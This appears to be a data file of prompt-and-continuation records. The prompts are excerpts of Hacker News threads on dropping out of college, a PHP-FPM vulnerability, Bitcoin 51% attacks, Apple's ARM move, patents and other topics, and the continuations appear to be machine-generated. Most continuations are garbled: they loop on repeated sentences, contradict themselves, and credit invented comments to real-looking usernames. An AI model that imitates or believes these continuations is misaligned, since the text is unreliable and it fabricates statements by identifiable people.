apps in PHP, much more than in Python, so among them\ninevitably would be crappy ones. If you run one of them, do take precautionary\nmeasures.\n\n~~~\ngsmith2\n> Now you are confusing security of PHP as a platform with security of\n"} +{"output_text": " reason to drop out, I would advise against it.\n\n------\njoshu\nI dropped out of college. I'm not sure why.\n\n------\njoshu\nI dropped out of college. I'm not sure why.\n\n------\njoshu\nI dropped out of college. I'm not sure why.\n\n------\njoshu\nI dropped out of college. I'm not sure why.\n\n------\njoshu\nI", "input_text": " and Gates excluded) who drop out for a startup\nare actually running from something, and the thing they're running from isn't\ncollege, but the fact that 18-24 is a difficult age, especially in the\nneurotic U.S.\n\n~~~\ncyang08\nGreat insight about autodidacticism - sometimes it's just really hard to (1)\neven know what to do in the first place and (2) do it without structure or\nextrinsic motivation.\n\nI think in an ideal world, self-study and maintaining an ongoing education\nwhile out in the field are great. Unfortunately in a practical world, finding\nthat motivation intrinsically is pretty difficult. There's actually a great\nvideo by Dan Pink delving into the specific components of motivation:\n\n\n(credit a forum post on improving at StarCraft for this actually, haha:\n[http://www.teamliquid.net/forum/viewmessage.php?topic_id=374...](http://www.teamliquid.net/forum/viewmessage.php?topic_id=374400))\n\n------\nkloncks\nDon't drop out just to drop out. There's no statement to be made.\n\nSometimes dropping out makes sense; other times it doesn't. It's based on that\nunique situation. Dropping out isn't a matter you can over generalize with\nblanket statement advice.\n\n------\nsamsolomon\nI don't see the harm in dropping out.\n\nIf your startup is gaining traction, take a semester off and try and make it\nwork. You can always go back to school if the business doesn't work out.\n\n------\ncarbocation\nUntil you find a substantial"} +{"output_text": " not the user is on the local network.\n\n------\njlgaddis\nI'm not sure why this is getting so much attention.\n\nI'm not a Nextcloud user, but I'm a bit surprised that this is getting so much\nattention.\n\n~~~\ncyphar\nI'm not a Nextcloud user either, but I'm a bit surprised that this is getting\nso much attention.\n\n~~~\njlgaddis\nI'm not surprised", "input_text": "'t just give strangers VPN access.\n\nThis is a feature. Besides, you can send friends and family a QR code to\nconnect to your WireGuard VPN. It isn't perfect, but it beats having your\npersonal data stolen.\n\n~~~\ncyphar\nI don't see how \"you cannot use the link sharing feature of NextCloud\" is a\nfeature? Seems to be the precise opposite. As for setting everyone else up on\nthe VPN, you could probably get that to work (you'd need to mess with DNS,\nAllowedIPs, and iptables rules to only allow port 443 access for your family's\nclients). I might look into that.\n\n~~~\nheavyset_go\nIt's a security trade off, if an arbitrary person can't access your Nextcloud\ninstance, neither can an attacker.\n\n~~~\ncyphar\nSure (and I agree), but that means it's not a feature. But after reading your\nearlier comment, I have set nginx to only permit NextCloud traffic if I'm on\nthe local network (I can't block everything because my personal website and\nMatrix homeserver need to be publicly accessible in order to function, and\nthere's no way in hell I'm hosting my homeserver anywhere other than at home).\n\n------\nhnarn\nFrom the CVE:\n\n> Solution\n\n> On October 24, PHP 7.3.11 (current stable) and PHP 7.2.24 (old stable) were\n> released to address this vulnerability along with other scheduled bug fixes.\n> Those using nginx with PHP-FPM are encouraged to upgrade to a patched\n> version as soon as possible.\n\n> If patching is not feasible, the suggested workaround is to include checks\n> to verify whether or"} +{"output_text": ", and was pretty easy to use.\n\nI was pretty proud of that assembler.\n\nThen I wrote a second assembler. It was a lot better than the first one, but\nit was still pretty bad. I was pretty proud of that assembler.\n\nThen I wrote a third assembler. It was a lot better than the second one, but\nit was still pretty bad. I was pretty proud of that assembler.\n\nThen I wrote a fourth", "input_text": " and sense which parts of the program were essential enough to re-type. He\n> thought this was the most natural thing in the world: of course you throw\n> away the first few implementations, you didn't understand the problem when\n> you wrote those!\n\nI thought I was the only one who did that.\n\n~~~\nkabdib\nGood code isn't written, it's re-written.\n\nIt is scary when something \"works the first time\", because it probably\ndoesn't.\n\n~~~\nerikpukinskis\nThere's different ways to re-write though. I tend to assume I couldn't come up\nwith the right design if I tried. So I will leave my naive implementation in\nplace until USE shows me a bug or a new feature and then that IMPLEMENTATION\nshows me where my architecture is clunky, and how to fix the original thing.\n\nOver time, everything important gets a full rewrite or four, but only piece by\npiece.\n\nGenerally I assume in an implementation vacuum the long term spec isn't even\nwell defined so I would never just rewrite something immediately.\n\nSometimes if a module proves difficult to amend I will start over from\nscratch. But usually by then I have tests and use cases I am confident in.\n\nI love the idea of people doing these rewrite series though... not trying to\nbe evangelical. Just describing a different kind of rewrite.\n\n~~~\nkabdib\nBack when rocks were young, one of my hobbies was writing assemblers because\nthe ones available were generally terrible. My first few attempts were pretty\nbad. The fifth or sixth assembler that I wrote was commercial quality; it was\nfast, had macros, supported most of the different microprocessors that our\nplatform had"} +{"output_text": " I was like, \"What? How\ndid you find it?\" He said, \"It's called Duff.\"\n\n------\njedberg\nI love this. I've been working on a similar project for a while now, but I\nhaven't had the time to finish it.\n\nI'm curious, how do you deal with the fact that the animation is not\ncontinuous?\n\n~~~\njedberg\nI'm curious, how do you deal with the", "input_text": " times).\nCan't find the right example, but in a nutshell, the approach involved using\nborder-width to create triangles, and thus triangle meshes.\n\nYou might like this one: [https://keithclark.co.uk/labs/css-\nfps/desktop/](https://keithclark.co.uk/labs/css-fps/desktop/)\n\n------\nanonsivalley652\nAnimated even and the code looks hand-drawn. I <3 it.\n\nFun fact: I worked at a nuclear engineering consultancy in the 90's. That's\nthe not the fun fact. The hostnames of the computers were all Simpsons'\ncharacter names.\n\n \n \n rsh blinky\n \n ftp homer\n\n~~~\nrichthegeek\nI work at a place now that uses USS Starship names for projects.\n\nReally brings home the old adage about the hardest parts of computer science\nbeing naming things when the decision comes down to a discussion of the\nphilosophical implications of a TV episode from 1994.\n\n~~~\nPhrenzy\nA long time ago I was a sysadmin for a company that gave us a Windows client\ndesktop, and a desktop running Windows Server. The rule was that you had to\nname the server after a brewery. I'm not a beer drinker, so I named mine A&W.\nSpelled as \"Ayeanddubya.\" (Aye and dubya) That was fun for a while, people\nwould call it names like \"Abbadabba.\" I later switched it to Duff.\n\nDuring that time our manager, who wasn't that bright, rushed over and\nexclaimed. \"There is a rouge server on the network!\""} +{"output_text": ", the council bought a large number of houses\nfrom a company that was owned by a family that had been in the business for\nover 100 years.\n\n------\nm0zg\nI'm not sure why this is news. It's been going on for decades.\n\n~~~\nmatt4077\nBecause it's a new development in the US, and the US is a big market for\nforeign investors.\n\n~~~\nm0zg\nIt's not a new", "input_text": " better to just -\n\na> allow for the LLC to do what it was designed for: protect the owner from\nliability beyond the cost of the house\n\nand, b> let the municipality fine the LLC according to whatever rules exist\nabout whether it's morally reprehensible to remove a renter for failing to pay\na fine\n\n~~~\nFireBeyond\nThe issue is that without knowing who owns the LLC, then you can use a\ndifferent LLC for each property and skirt rules around taxes and other\nrestrictions on multiple property ownership.\n\n~~~\ntossAfterUsing\nMaybe i don't understand... what restrictions exist on multiple property\nownership?\n\n------\nm1sta_\nAll real estate should have named human owners. That ownership should come\nwith the equivalent of fiduciary duty.\n\n------\ntuesday20\nIs it hard to enact laws to prevent this? I remember reading some German towns\nbuying properties from shitty landlording companies to control housing\nsituation getting out of hand.\n\nI am a first time buyer and I am finding it hard to buy, despite making six\nfigures a year\n\n~~~\ngrogenaut\nWhere do you live?\n\n------\ncosmodisk\nAll this crap is essentially supported by a handful of countries: USA,UK( with\nall its dependant islands pretending to be innocent), Luxembourg, Switzerland,\nNetherlands and a few others. The rest of the world,including these countries\nthemselves pay astronomical price for this. It's fascinating to drive down\nPark Lane in London and see empty building opon empty building in one of the\nmost expensive streets on the planet.\n\n~~~\nfyfy18\nActually this sort of thing has been going on for hundreds of years in most\nEuropean countries. In my city"} +{"output_text": "tptacek\nYou can't steal them, but you can make them disappear.\n\n~~~\nw-ll\nYou can't steal them, but you can make them disappear.\n\n------\njstanley\n> The blockchain is a distributed ledger that records every transaction ever\n> made.\n\nNo, it's not. It's a distributed database that records every transaction ever\nmade.\n\n~~~\ntptacek\nIt's a distributed database that", "input_text": " mind that this gives you two significant powers. First, you can more\nor less unilaterally dictate the new consensus blockchain, subject to the\nusual constraints that you can't create transactions that weren't\nappropriately signed. That is, you can't spend other people's money or\ndirectly destroy it. Second, you have a limited ability to _replace_ the\nconsensus with something else.\n\nThe first power, by itself, allows you to block certain transactions from ever\noccurring. You could pick some subset of coins and prevent them from being\nspent. This could be targetted against exchanges, random users, or maybe even\nbe based on geography. The goal (according to the article) is presumably to\nundermine confidence.\n\nThe second power can be used a lot more insidiously than just double-spending\nyour own coins. How about tracking all inbound transfers to some exchange over\nsome period of time and then undoing them? Now that exchange is out a lot of\ncoins. For extra fun, could use your consensus-choosing power to effectively\nlock down the coins that you just stole from the exchange so their original\nowners don't have them either.\n\nThere are probably even more interesting things you could do, too.\n\n~~~\nw-ll\nAnyone can track Bitcoin transactions; That IS the blockchain. Undoing them\nwill just result in a chain that they are still in the original wallets keys,\nyou STILL cant steal them. And the window for doing this is likely an hour or\n2 at tops, but still very unlikely.\n\nAn exchange might credit you on a few confirmed blocks, but after 6 (an hour)\nits pretty much confirmed, and any withdraws on the same chain will fail once\nthe 51% attack is over.\n\n~~~\n"} +{"output_text": " be a person. It could be a computer, a\nneighborhood watchman, a security camera, etc.\n\n~~~\njoshu\nI'm not sure I agree with your conclusion.\n\nI think you're right that you were destined for this kind of work. But I think\nyou're wrong that you would have been different if you had known.\n\nI think you would have been the same person, but you would have been a\ndifferent person.\n\n", "input_text": " a\nreally cool guy to talk to, well respected by everyone, etc. In fact, if all\nmanagers were like him, Staples would probably still be a force to be reckoned\nwith. So, it never bothered me the way it probably would have, had it been\nsome creepy manager. This is necessary for the rest of the story, because had\nit not been the case, I would have probably called him out, etc.\n\nEventually I started being extra jovial all the time, because I never knew\nwhen I'd miss seeing the light come on and miss the opportunity to impress\nBill.\n\nBill was so impressed with my service that I was given a raise and promoted to\nmanager of the copy & print center about 6 months later, which eventually led\nto me opening my own print company and quitting Staples (after seeing how high\nthe margins were), which led to me learning how to use Adobe Creative Suite\nand graphic design, which led to me shifting my focus to print design for\nclients (brochures, cards, etc.), which led to me meeting some guys who ran an\nInternet marketing company one day while trying to sell my print design\nservices. They wanted to hire me full time, and did, so I began learning web\ndesign, then web development, then back end code, etc.\n\nI always tell myself, 'I was probably destined for this kind of work', but the\nreality is that my entire life might have been changed by simply knowing I was\nbeing spied on by my Boss. I realize that it probably worked out for the\nbetter in my case, but the fact is, knowing that somebody is watching you\ncauses you to change who you are. It's a form of control in and of itself. In\nfact, it doesn't even need to"} +{"output_text": " is a good way to demonstrate\nthe power of a language.\n\n------\njoshu\nI'm not sure I understand the question.\n\n~~~\njoshu\nI think the question is \"how do you get the correct answer in PHP?\"\n\n~~~\njoshu\nI think the answer is \"you can't\".\n\n------\njoshu\nI think the answer is \"you can't\".\n\n~~~\njoshu\nI think", "input_text": "\n\n~~~\ngshubert17\nYou're right. I have a 32-bit build, since I get:\n\n* (log most-positive-fixnum 2) 29.0\n\nThanks.\n\n------\nwaynecochran\n\n /*author: Gauss */\n var n = 1000000000;\n var sum = n*(n+1)/2;\n\n~~~\ncgh\nNot sure why you're mentioning this as it's in the SO question:\n\n\"The correct answer can be calculated using\n\n1 + 2 +... + n = n(n+1)/2\"\n\n------\nck2\nKnowing how to use a language is critical to get expected results.\n\nThis gives the proper result in PHP by forcing the integer cast.\n\n \n \n $sum = (int) $sum + $i;\n\n~~~\npc86\nIt's been a long time since I've worked with PHP, I assume\n\n \n \n $sum += (int) $i;\n \n\nwill still convert to float once the size of $sum gets to the requisite size?\n\n~~~\nradiospiel\nOne of the reasons to stay away from PHP. Requesting and int but getting a\nfloat regardless? That doesn't sit well w/me.\n\n------\ndeerpig\nIt would have been interesting to see this problem solved in many different\nlanguages. But I guess that would kill the question on Stackoverflow.\n\n~~~\nVMG\nI don't think it would be that interesting - and I don't think we need to\nrediscover the fact that some languages use IEEE754 as the default number type\nover and over again\n\n~~~\nechohack\nI think demonstrating a set of features like this"} +{"output_text": "identifiers.html\n======\njlgaddis\nI'm not sure if this is a joke or not, but I'm going to go ahead and assume\nthat it is.\n\nI'm not sure if this is a joke or not, but I'm going to go ahead and assume\nthat it is.\n\n~~~\njlgaddis\nI'm not sure if this is a joke or not, but I'm going to go ahead and assume\nthat it is", "input_text": "\nof circumstances. They are doing ok -- well, even. And that they entirely\ndeserve credit for that. Anyone else? Not their problem. And if the other\nperson's circumstances leave them down and out: Well, they deserve that.\n\nSome of these people: They will take and take. I experienced this personally,\nthis past year, trying to help one of them out of difficult straights. As\ntheir circumstances improved -- not insignificantly through considerable dint\nof effort on my part -- they became less grateful rather than more, and a\ncriticism of others that I thought they were initially beginning to see past,\nreturned in full force.\n\nDirect kindness ultimately had no influence on their perspective _and\nbehavior_ \\-- no matter what words and attitudes they used to initially\nsolicit and gain support.\n\nAnd THIS really scares me, more than a bit. Or divests me somewhat more of my\nown apparently mistaken ideals.\n\nSome of these people, are simply intractable. There is no compromise with\nthem, no coming to a mutual understanding.\n\nWere the \"internationalists\" right, simply to try to leave them behind? No --\neven if they are intractable, simply ignoring them is short-sighted, in its\nown fashion.\n\nAnyway, I've glued enough P.S.'s onto this comment that reflects my continuing\nstruggle to find my own way through these set of personalities written\nwholesale onto our current politics.\n\n~~~\nangersock\nThank you for your writeup; it was thoughtful and well-phrased.\n\n \nMicrosoft, stop sending user identifiers in clear text - ramen-hero\nhttps://annoyedmicrosoftuser.blogspot.com/2015/10/microsoft-stop-sending-user-"} +{"output_text": " about themselves\nafter taking this test.\n\n------\njamesjguthrie\nI'm not sure I'd call myself a programmer, but I'm pretty sure I'd fail this\ntest.\n\n------\njamesjguthrie\nI'm not sure I'd call myself a programmer, but I'm pretty sure I'd fail this\ntest.\n\n------\njamesjguthrie\nI'm not sure I'd call myself a programmer, but I", "input_text": " writing programs that solved a problem.\nThen continued with such an approach until hitting a wall due to lack of\nmathmatical knowledge. Learned whatever needed and moved on. Do I remmeber\nmost of the math I've had to learn? Not really. I don't use it everyday. If I\nhave to use it again, I'll just go to my reference material and refresh my\nmemory.\n\n _Well, if all you are doing is writing CRUD apps, I don't see how someone\nlike OP is going to be even remotely a good fit. You need a mechanic, you hire\na mechanic; you don't go looking for someone who can design a V engine._\n\nProblem is that all these tests do is promote the idea that real-world\nprogramming inside the matrix is about CS. Its not. Not knowing the answers to\nthe tests created by the OP does not make anyone a bad programmer. Hell, the\nmost productive programmer I know used to work with Visual Basic and\nExcell/Access all day long. His code served thousands of users and he shipped\nsomething out every week. When I asked him about big O notation his face drew\na blank. But boy could he knock out software in a couple of days.\n\n------\npja\nThis fun. I'd forgotten how much of this stuff I used to know.\n\n(ps, for Q3: if you know the formula for the Harmonic series then you can\nanswer this one very easily. If you don't, you're probably going to be a bit\nstuck.)\n\n------\nalexkus\nSent my answers in, reminds me how much I've actively avoided stats (I much\nprefer pure Maths).\n\n------\nchuppo\nI do not see how a web developer or DBA will feel better"} +{"output_text": "el\nApple already has a dual-processor Mac Pro.\n\n~~~\nsamwillis\nI know, but I was thinking of something more like the Mac Pro where you could\nhave an external Intel coprocessor.\n\n------\njedberg\nI'm curious if Apple will ever open source Swift.\n\n~~~\njedberg\nI'm curious if Apple will ever open source Swift.\n\n~~~\njedberg\nI guess I should have been more", "input_text": ", but it will happen. As Ben hints,\nthis may cause a bigger industry shift as well. With Apple on ARM, it makes\nWindows and Linux ARM more palatable, in particular this could give ARM\nservers a significant boost.\n\n------\njimbokun\nWill LLVM IR allow developers to deliver binaries that will run on both Intel\nand ARM?\n\nI see the Swift compiler can output LLVM IR, can you do the same thing with\nObjective C code bases?\n\n~~~\nzozbot234\nNot really. LLVM is not a single interoperable IR, it's more like a family of\nIR's with many arch-specific details. WASM+WASI could work though.\n\n------\nkaiby\nI'm not a business guy, but if Apple's going all-in on ARM processors, and\nthen they expand into the server market (which the article speculates on),\ncould we potentially see Apple opening a new product branch devoted to\ncompeting in the Cloud space with AWS, Azure, and GCP?\n\nImagine developing apps on an ARM-powered macbook, deploying onto ARM-powered\nservers owned by Apple, specifically for applications to be used on MacOS &\niOS devices.\n\n------\nsamwillis\nWould it be possible for Apple to have an optional dual processor system, an\nARM main processor and an optional Intel coprocessor? That way for people who\nneed support for \u201clegacy\u201d x86 apps or for development they could get it.\n\nCould you have an external Intel coprocessor like we have external GPUs?\n\n(I know nothing about how this would work, obviously the traditional way would\nbe to just have an remote x86 server for running those tasks)\n\n~~~\nporn"} +{"output_text": " how to get it to people?\n\n~~~\njedberg\n> I think they aren't.\n\nI think they are.\n\nI think the patent system is a net positive to society.\n\nI think the patent system is a net negative to society.\n\nI think the patent system is a net neutral to society.\n\nI think the patent system is a net positive to society.\n\nI think the patent system is a net negative to society.\n", "input_text": " be a written description or enablement problem.\nCaveat: I\u2019m a lawyer but this is not legal advice, just entertainment.)\n\n> executing with the selected application the at least one process in response\n> to the command;\n\n> generating output data in response to the selected application executing the\n> at least one process;\n\n> and transmitting the output data to the mobile device.\n\n------\nlordnacho\nThe whole patent system needs a good looking at. I'm not a lawyer, but I did\nmanage to get a patent a few years ago. It was for something obvious (math in\nfact!), but my business partners at the time thought it was worth getting.\nHaven't used it to troll anyone, and I don't like the idea, but the process\ndid get me thinking a lot about whether patents are a net positive to society.\n\nI think they aren't.\n\nHaving a patent system gives people the wrong impression that there's some\nspecial nugget of knowledge that is crucial to creating value. You often hear\npeople who aren't in the entrepreneurial space talk about how they just need a\n\"good idea\". In practice, there's very few things that work that way. Every\ntime I've started a business, there's been a lot of work that isn't so much\ndeveloping \"the idea\" as much as finding ways to connect it economically the\nrest of the world. Whereas the naive view would be something like \"once we\ninvent fusion, it will be easy to sell\".\n\nFor similar reasons, exclusivity is not necessarily a good way to reward\ninnovators. Essentially my thinking is that innovating is actually only half\nthe work, if even. Say you invent the cure for coronavirus. How useful is that\nactually, without a plan for"} +{"output_text": " a net negative for\nthe free software movement.\n\n~~~\nmwfunk\nI don't think that's true. I think he's been a net positive for the free\nsoftware movement.\n\nI think he's been a net negative for the free software movement because he\ndoesn't seem to care about the actual _people_ who are the actual _beneficiaries\nof his actions_. He seems to care only about the ideal, and the ideal is\nactually a pretty", "input_text": "gcc.gnu.org/ml/gcc/2014-01/msg00247.html](https://gcc.gnu.org/ml/gcc/2014-01/msg00247.html)\n\n~~~\nmwfunk\nThe fact that he even uses the term \"adversaries\" in this post is\ndisheartening. It's really disappointing that someone who could potentially be\nsuch a force for good in the world gets derailed by what is basically\ntribalism.\n\nTwo parties can disagree on 99% of their beliefs, yet still find ways to come\ntogether on the 1% that they happen to agree on. These parties can work\ntogether to each others' mutual benefit, and the world is better for it. But\nnooooooooo, not RMS. He has to demonize anyone who is not 100% in lockstep\nwith him on everything, to everyone's detriment, and throw his \"adversaries\"\ninto a trash bin labelled \"Others\".\n\nIt's a self-fulfilling prophecy. It's easy to drive people apart in the name\nof some ideal. It takes actual leadership to drive otherwise separate people\ntogether to actually accomplish something. I have wished for so many years\nthat RMS would care enough to provide the latter instead of the usual former.\n\n~~~\n__david__\n> It's easy to drive people apart in the name of some ideal. It takes actual\n> leadership to drive otherwise separate people together to actually\n> accomplish something.\n\nRight there is the crux of the matter. RMS is _only_ focused on the ideal. To\nhim, \"accomplishing something\" is only relevant when the accomplishment is\nfree software that can't be locked away in proprietary codebases.\n\nViewed through that lens, his actions and beliefs have been"} +{"output_text": " you end up with a daemon that spawns rkt,\nwhich spawns a daemon that spawns rkt, which spawns a daemon that spawns rkt,\nwhich spawns a daemon that spawns rkt, which spawns a daemon that spawns rkt,\nwhich spawns a daemon that spawns rkt, which spawns a daemon that spawns rkt,\nwhich spawns a daemon that spawns rkt", "input_text": "\norder to interface with tools that may or may not have any good reason to be\nrunning on an ongoing basis is to me.\n\nI'm sure there may be cases where you interact with the containers frequently\nenough that spawning a process each time is actually a worthwhile\noptimization, but more and more of these containerisation systems are becoming\nan unholy mess of daemons that needs to run in order to run and manage\ncontainers that need not depend on anything but the host init/systemd.\n\nE.g. one of the really appealing things of rkt for me is the simplicity -\ndepending on the level of isolation everything is running either direclty\nunder systemd, or under an individual isolator like systemd-nspawn.\n\nI disliked this tendency towards a herd of daemons intensely when Docker\ncontinued as it started and used HTTP for volume/network plugins, and I\ndislike it just as much now.\n\nIt's as if someone sat down and thought long and hard about how to add more\ncomplexity and more \"fun\" failure modes.\n\n~~~\nwmf\nIt's the microservice philosophy: Why use a function call or fork/exec when\nyou can use RPC? (At least CRI is binary RPC instead of JSON over HTTP/1.)\n\nAlso, Go doesn't dlopen AFAIK.\n\n~~~\nvidarh\nIt gets better. Take a look at rktlet, a CRI implementation for rkt (EDIT: I\noriginally mistakenly wrote Docker). Specifically the runtime [1], which ends\nup shelling out to the \"rkt\" binary.\n\nSo you end up running a new daemon that communicates with Kubernetes via gRPC,\nthat then spawns rkt anyway. So"} +{"output_text": " thing at a time.\n\nI have been diagnosed with ADHD, but I don't think it's the same as yours.\n\nI have a hard time sitting still, and I have a hard time focusing on one thing\nfor long periods of time.\n\nI also have a hard time with multitasking. I can't do two things at once, and\nI can't switch between tasks.\n\nI also have a hard time with procrastination. I", "input_text": "------\npieperz\nI always thought I was ADHD, then I started a business, turns out I just like\nto do things my way and lead not follow. I've struggled to \"focus\" my whole\nlife I'm a jack of all trades and master of none.\n\nWhen you find the right thing you'll know. I would do what I do now for free\nor if I was worth 100 Million because I love the game.\n\n~~~\nriekus\nAnd what is it that you do?\n\n~~~\nlatexr\nI\u2019d also like to know.\n\n------\ntombert\nI cannot speak for anyone else, but what you described is very similar to what\nI went through for most of my life.\n\nIt felt like there would be periods where I would be so adverse to any kind of\nwork, and look for any possible reason to push it off or do nothing, and spend\nthe rest of the day on Reddit or HN.\n\nEventually I started seeing a psychiatrist, and he diagnosed me as manic\ndepressive, with possibly a case of ADD.\n\nHe prescribed me a combination of Lamictal and Wellbutrin (the latter of which\nis also prescribed occasionally for ADD), and I can honestly say that it has\nchanged my life.\n\nI used to think that I was just lazy, and maybe I was, but I am certainly not\nanymore. My job has been a lot easier to do, I don't look for excuses to spend\nall day on Reddit, and my life has simply been better.\n\n------\ntoomanybeersies\nI suffer the same as you, but at a younger age.\n\nI have also been wondering if I suffer from ADHD too. Even at university I\nreally struggled to sit there and do one"} +{"output_text": " my open source projects but I\nusually don't write tests for my personal projects. I think that's a good\nthing.\n\n~~~\n_def\nI agree with you. I think the problem is that most of the time, the tests are\nwritten by the developers themselves.\n\n------\njedberg\nI've been working on a project for a while now that has a lot of tests. I\nstarted with a few hundred and now I'm at over a thousand", "input_text": " to\nwasting so much time debugging them.\n\nThanks for the education Frank, I did learn a lot from you.\n\n~~~\n_def\nI have a feeling I know why he hired you instead of writing it himself...\n\nAlso contributing my part: a boss declining unit tests because they cost\nmoney. In the meantime, he's wondering how crucial bugs appear again and again\nand urges us to be more careful. It's always a relieve to leave those places\n:)\n\n~~~\ncryptica\nThis mindset of \"you don't need tests, just don't write bugs\" sounds extremely\nnaive and amateurish at first but having worked at many different kinds of\nlarge and small tech companies around the world for over a decade, I now think\nthat there is actually real wisdom behind that mindset and I've met some very\ntalented engineers who share that thinking to various extents.\n\nDebugging trains you to think about code. I think most of my programming skill\ncomes from my open source project work where I didn't write tests initially.\nNow I can simulate code in my mind without having a computer in front of me.\nThis is a really useful skill - You need to be under some kind of mental\nstress to learn this kind of skill.\n\nWhen you don't have tests to rely on, your mind is forced to hold on to more\ndetails about different interralated parts of the code and over time, this\nmental stress trains you to hold a massive amount of detail in your mind and\nthis helps you to write much better code. Also, being forced to hold a lot of\ncode in your mind gives you a strong incentive to design clean simple\narchitectures.\n\nWriting bug-free code is not difficult for me now. Even on very complex\ndistributed projects. I do write tests for"} +{"output_text": " tape, and the cardboard, and the paper, and\nthe glue, and the paper, and the glue, and the paper, and the glue, and the\npaper, and the glue, and the paper, and the glue, and the paper, and the glue,\nand the paper, and the glue, and the paper, and the glue, and the paper, and\nthe glue, and the paper, and the glue, and the paper, and the glue, and the", "input_text": " of which of course\nbecomes part of it). Suppose you picked up a book on real analysis without\nunderstanding basic arithmetic. Would it be the fault of the author that you\ndidn't understand what you were looking at? Would they have done something\nwrong?\n\nOne way to think about art is that each piece is made at a point in time but\nis participating in a long din of conversation(s). If you don't understand the\ngeneral arc of the conversation (or at least the conversation going on right\naround you), you will miss some of the aesthetic value of any piece. This is\nas true of Michelangelo as it is of Barnet Newman even if you have more\ncontext-free aesthetic/technical appreciation for Michelangelo's work.\n\nMost museums also have docents which are usually more than happy to talk about\nvarious pieces.\n\n------\nPica_soO\nMy uncle works in art-work transportation, and some of the pieces are\nbasically not transportable, but are travelling from museum to museum anyway.\n\nHe remembers a charcoled doorframe, that had to be transported although it\nbasically could come apart any second once moved. They have vibration reducing\nspecial boxes, with the same climate protection as humidors have it. Also\nthere are titanic insurance fees at work, to move art. And sometimes, somebody\nin some state run museum, is forced to take the cheapest option available. One\nof those haulers venturing into art, transported a artwork by a Chinese\nartists (do not know the name), basically very long paperrolls with Chinese\nletters on them to be hung from a halls ceiling. Those rolls they come in\ncardboard boxes, sealed with tape- and the poor fellow, takes a cutter, and\nsystematically, cuts through the"} +{"output_text": " plumber in the US.\n\n~~~\nSpooky23\nI\u2019m not sure why this is getting downvoted.\n\nI\u2019m not saying it\u2019s a good thing, but it\u2019s a reality.\n\n~~~\nSpooky23\nI\u2019m not sure why this is getting downvoted.\n\nI\u2019m not saying it\u2019s a good thing, but it\u2019s a reality.\n\n------\njedberg\n", "input_text": ", burgling,\nfraud, etc., where there is a good chance at rehabilitation, esp., if the\ncrime was fueled by drug addiction.\n\n~~~\nTeever\nI worked with someone who had 16 assault charges. To be totally honest I'd\nprefer working with someone convicted of murder than that guy.\n\nThe thing with 16 charges of _anything_ is that you know there's going to be a\n17th, an 18th... and so on.\n\nSome people can be rehabilitated, some people can't. Severity of the crime\nisn't necessarily indicative of that.\n\n~~~\nvidarh\nYou'd likely be right to do so. Murder actually has an extremely low repeat\nrate. Murderers does have a higher chance of committing another crime on\nrelease than people not convicted of a crime, presumably in part because of\nhigher chance of unemployment and poverty, but most murderers are extremely\nunlikely to ever kill again as most murders are crimes of passion in extreme\ncircumstances that are extremely unlikely to occur again.\n\n------\nthatoneguy\nFWIW, when I was at Google I had at least two colleagues with felony records.\nIt made me even more proud to work there as it showed the company was willing\nto look beyond mistakes made in someone's past.\n\n------\nGraffitiTim\nThere's a YC app for that:\n\n[https://www.70millionjobs.com/](https://www.70millionjobs.com/)\n\n------\nSelfcommit\nI'm really confused - when did we suddenly start having a labor shortage?\n\n~~~\nSpooky23\nWe do a shitty job at educating people, so it\u2019s hard to hire qualified people\nin many industries.\n\nTry finding a master"} +{"output_text": "\n\n~~~\nradley\nI don't know. I'm not a lawyer.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nIf you're a lawyer, you're going to be paid by the hour. If you're a\ncontractor, you're going to be paid by the hour.\n\nIf you're a lawyer, you're going to be paid by the hour. If you're a\ncontractor, you", "input_text": "\nreforms](http://www.justice.gov.uk/civil-justice-reforms))\n([http://www.justice.gov.uk/legal-\naid/funding](http://www.justice.gov.uk/legal-aid/funding))\n([http://www.justice.gov.uk/legal-aid/areas-of-\nwork/civil/high...](http://www.justice.gov.uk/legal-aid/areas-of-\nwork/civil/high-cost-cases))\n\nii) There was a case some years ago where two women (sisters?) were accused of\nswapping eggs. They were accused of taking cheap eggs out of the carton and\nputting expensive eggs in. They were offered a lot of money, but \"wanted their\nday in court\", and although the court said they didn't swap eggs the court\noffered a smaller amount in damages, which got wiped out by the costs they had\nto pay.\n\nThis is the kind of thing that I find tricky to web search for. It seems like\nit should be easy - [\"legal case\" \"eggs\"] and then various supermarket names.\nI should try limiting the date range to before 2005. But if anyone has any\ntips about how to better search for it I'd be grateful. (Of course, Usenet\nnews probably has some discussion about it, but Google is sub-optimal for\nsearching their Usenet archive. It's a great shame.)\n\n~~~\nradley\nWon't matter: a shell company can dissolve and not pay anything if they lose.\n\n~~~\nloup-vaillant\nWhat about holding the stakeholders personally responsible? Could it be done\nwithout too much side effects?"} +{"output_text": " that it's a lot more like\nasynchronous programming than node.js.\n\n~~~\nkarterk\n_The decrease in productivity with node comes from having to write everything\nwith callbacks._\n\nI don't think so. I've been using node for a while now, and I've never had to\nwrite anything asynchronously.\n\nI think you're confusing the asynchronous nature of node with the callback\nnature of node.js.\n\n~~~\nhas", "input_text": " These are all nice and good, and they _do_\nincrease your productivity, but, _only on the client side_.\n\nIf you're looking for performance and non-blocking IO, use Go, it's much\nbetter at that.\n\n~~~\nkarterk\n_You may see some very nice libraries/tools coming out around node.js, like\njade, coffeescript, and stylus. These are all nice and good, and they do\nincrease your productivity, but, only on the client side._\n\nI disagree. Firstly, CoffeScript is not confined to the client-side. Besides,\nthere are some modules like socket.io for which you will hardly find any\nsubstitues in other eco-systems.\n\nYou're also discounting the effects of context shifts between two separate\nlanguages - one on the client side, and the other on the server side.\n\nLastly, I would like to know what you find productive about Go, that's not the\ncase with either CS/JS on Node.\n\n~~~\nhasenj\nThe decrease in productivity with node comes from having to write everything\nwith callbacks. Programming asynchronously is crazy, it makes very simple\nalgorithms very annoying to write.\n\nI'd say it's almost like writing in assembly. You have to write your code in\nsome pseudo code first, synchronously, then translate that into the\nasynchronous callback spaghetti than node requires.\n\n> Lastly, I would like to know what you find productive about Go, that's not\n> the case with either CS/JS on Node.\n\nNot having to write everything asynchronously?\n\nI haven't actually used go, but the way goroutines communicate (and\nsynchronize) with channels suggests to me"} +{"output_text": "\n~~~\nmatt4077\nI don't think that's the case.\n\nThe US has been trying to get NK to denuclearize for years. The US has been\ntrying to get Iran to do the same for years.\n\nThe US has been trying to get NK to stop testing nukes for years. The US has\nbeen trying to get Iran to stop testing nukes for years.\n\nThe US has been trying to get NK to stop building n", "input_text": " was struck: go for peace, you'll\nremain a buffer and own state. We'll support you and will be able to push\ninvestments into your country. Capitalism with socialist characteristics-\nstyle.\n\n------\ngolergka\nTrump's 